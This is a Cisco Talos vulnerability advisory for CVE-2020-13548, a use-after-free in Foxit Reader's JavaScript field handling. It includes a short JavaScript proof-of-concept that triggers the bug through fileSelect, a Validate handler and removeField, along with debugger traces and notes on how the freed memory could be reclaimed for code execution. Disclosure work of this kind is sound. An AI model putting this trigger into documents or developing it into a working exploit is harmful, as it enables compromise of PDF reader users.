Talos Vulnerability Report

TALOS-2020-1166

Foxit Reader Javascript Field fileSelect Use After Free Vulnerability

DECEMBER 9, 2020

CVE NUMBER

CVE-2020-13548

Summary

A use after free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 10.1.0.37527. A specially crafted PDF document can trigger reuse of previously free memory which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Reader Version: 10.1.0.37527

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses V8 JavaScript engine.

Javascript support in PDF renderers and editors enables interactive forms which can include different GUI elements such as buttons or text fields. A use after free vulnerability in Foxit Reader can be triggered while processing certain events of a text field with specific properties. Following code demonstrates triggering this vulnerability:

```
function main() {
app.activeDocs[0].getField('txt2')['defaultValue'] = "a";
app.activeDocs[0].getField('txt2').setFocus();
app.activeDocs[0].getField('txt2')['fileSelect'] = 1;
app.activeDocs[0].getField('txt2').setAction("Validate",'f();');
app.activeDocs[0].getField('txt1').setFocus();
}

function f() {
app.activeDocs[0].getField('txt2').setFocus();
app.activeDocs[0].getField('txt1').setFocus();
app.activeDocs[0].removeField("");
}
main();
```

In `main` function of the above code, certain properties of field `txt2` are modified. Most importantly `fileSelect` is set to true which means the field value will be interpreted as a file path. Additionally, `Validate` event handler is set to call function `f`. The sequence of `setFocus` calls shift focus from `txt2` to `txt1` to trigger the `Validate` event. Further, in the event handler function `f`, `removeField` is called which effectively removes the `txt2` field. Remove field is invoked with empty string as a parameter to trigger a favorable crash to demonstrate the vulnerability, but the field can be removed directly otherwise.

The vulnerability arises from the fact that objects that are part of `txt2` field in memory will still be in use after the field has been removed, while the removal of the field also frees those objects. This can be observed in the following debugger session:

```
0:000> bp FoxitReader+01756744
0:000> g
Breakpoint 0 hit
eax=00000003 ebx=218dcffc ecx=1c06dd2d edx=173a8ffc esi=21ab6f90 edi=218dcff8
eip=02406744 esp=007dda28 ebp=007dda34 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
0:000> ub
02406741 6a70            push    70h
02406743 56              push    esi
02406744 e8866ad201      call    FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x1f565f (0412d1cf)
0:000> dd esi
21ab6f90  0493c364 21ab8ff8 21a90fc0 1d17ef70
21ab6fa0  c0c0c000 00000001 190eefd8 01000101
21ab6fb0  00000004 00000000 190ecf9c 1c9faf88
21ab6fc0  173a8ff8 00000003 00000001 00000000
21ab6fd0  00000000 00000000 00000010 00000000
21ab6fe0  00000000 00000000 0000000a 00000000
21ab6ff0  00000000 00000000 c0c0c000 00000000
21ab7000  ???????? ???????? ???????? ????????
0:000> !heap -p -a esi
    address 21ab6f90 found in
    _DPH_HEAP_ROOT @ a81000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                16e005e4:         21ab6f90               70 -         21ab6000             2000
          ? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+3b108
    68d4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714245b ntdll!RtlDebugAllocateHeap+0x00000039
    770a6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    770a5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    770a5d3e ntdll!RtlAllocateHeap+0x0000003e
    042239fc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe8c
    03f3bace FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e
    0241a946 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005f5ad6
    014462dd FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002b1bfd
```

We first place a breakpoint just before the object in question is freed to examine its memory. We can see where the object is allocated, a pointer to its vtable and its size (0x70). Continuing execution leads us to a crash:

```
(9f8.950): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=21ab6f90 ebx=2068cfd0 ecx=21ab6f90 edx=007de154 esi=173a8ff8 edi=00000000
eip=02418c9e esp=007de11c ebp=007de124 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0:000> ub
02418c91 8bec            mov     ebp,esp
02418c93 8b4104          mov     eax,dword ptr [ecx+4]
02418c96 ff7108          push    dword ptr [ecx+8]
02418c99 8bc8            mov     ecx,eax
02418c9b ff7508          push    dword ptr [ebp+8]
02418c9e 8b10            mov     edx,dword ptr [eax]  ds:002b:21ab6f90=????????
0:000> u
02418c9e 8b10            mov     edx,dword ptr [eax]  ds:002b:21ab6f90=????????
02418ca0 ff9290000000    call    dword ptr [edx+90h]
0:000> !heap -p -a eax
    address 21ab6f90 found in
    _DPH_HEAP_ROOT @ a81000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                16e005e4:         21ab6000             2000
    68d4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77142c91 ntdll!RtlDebugFreeHeap+0x0000003e
    770a3c45 ntdll!RtlpFreeHeap+0x000000d5
    770a3812 ntdll!RtlFreeHeap+0x00000222
    042239a6 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe36
    0420180f FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002c9c9f
    0412d1da FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x001f566a
    02406749 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005e18d9
    00f13b3e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000335de
    00f0e42d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002decd
    01781c17 FoxitReader!CryptUIWizExport+0x0012ef37
    01744c35 FoxitReader!CryptUIWizExport+0x000f1f55
    030bf2bb FoxitReader!FXJSE_GetClass+0x0000022b
```

From the above output, we can observe that the crash happens while dereferencing a vtable of a freed object and we can observe that the buffer pointed to by `eax` now belongs to free memory. This constitutes a use-after-free condition. From observing Javascript execution, we can conclude that use-after-free happens after the `txt2` field is freed, but before the event handler invocation code is finished. This means that an attacker can place additional Javascript code after freeing the field, giving them a chance to take control of memory to be reused. Since the above crash is just before a virtual method invocation, this can result in arbitrary code execution.

Timeline

2020-10-16 - Vendor Disclosure
2020-12-09 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.